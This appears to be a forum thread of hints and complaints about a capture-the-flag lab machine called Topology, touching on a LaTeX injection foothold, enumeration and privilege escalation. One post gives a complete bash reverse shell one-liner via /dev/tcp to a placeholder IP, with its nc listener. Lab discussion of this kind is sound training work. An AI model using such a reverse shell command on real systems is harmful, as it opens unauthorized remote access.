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Got it.
User: slightly complicated with Latex syntax
Root: Very straighforward

DM if need some hints.

Slow but easy machine. The slowness makes nearly impossible the initial enumeration. The root part is so easy, just google and basic bash. Remember the special characters on the foothold and try injecting the service. PM if you need help ;3

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Many thanks for your hint. Enumerated more and got it.
My previous enumeration only checked files with rw so missed that suspicious permission setting…

I know for a fact this box is broken right now. I’ve been noticing a lot of quality issues with boxes AND the academy recently.

rooted, feel free to ask my anything anytime in case you’re still stuck.

Back to Topology, finally get past the latex thing.
The lesson: Dont forget to restore!
(image what context you might in & what may be broken after injection)

Why it says connection is closed when trying to SSH into the user account? anyone is facing same issue?

please give me some hint about that file

Rooted. Holy cow was that foothold difficult. Maybe I didn’t do enough enumeration but after some time I finally found it.

Root was a piece of cake. Just do your usual enum and you’ll see it.

I’ve found several subdomains, have tried a whole bunch of different directories, I know what file I need to read, but no idea the exact location of it. Not sure what to do and could use a nudge.

can’t find h*****d
did you fuzz its location?

I’m trying to enumerate the box but it outputs that curl can’t resolve github any ideas on why that might be happening

I was wondering before starting work on this machine like why this box has such low rating while many people rooted it? Now i know the answer. This box is extremely slow. Imagine there is a man sitting on a chair in front of you. You ask him a question and he drinks slowly a cup of coffee then answers your questions.

i need help, i got the user but cant seem to escalate priviledges…i have used know escalation techniques, no avail

got it, enumeration!!!

I would already be done with this machine but every command takes 30 fucking minutes like I can go get a cup of coffee eat lunch sleep and the command will still be possessing like every time I fucking type it takes a good 3 seconds to show up on screen I HAVE 500 mbs DOWN AND UP WHAT THE ■■■■

Heres a way to make the ssh session go way faster use a reverse shell

Heres what I did:

On the host machine: bash -c 'bash -i >& /dev/tcp/[Your IP]/[Port of choice] 0>&1

On my machine: nc -lvp [PORT]

This machine doesn’t spawn for me anymore. I just got a new idea today that might get me root access finally, but now I can’t connect.
Is it just me? Is there something with the machine maybe? Please help

hey i have added the ip into my /etc/host and when I open
latex.topology.htb and the test any math things down below the page it is responding with HTTP ERROR 500 . what is this?


Some help: LaTeX Injection | Exploit Notes

Root is very easy (PE basics), feel free to ask :slight_smile: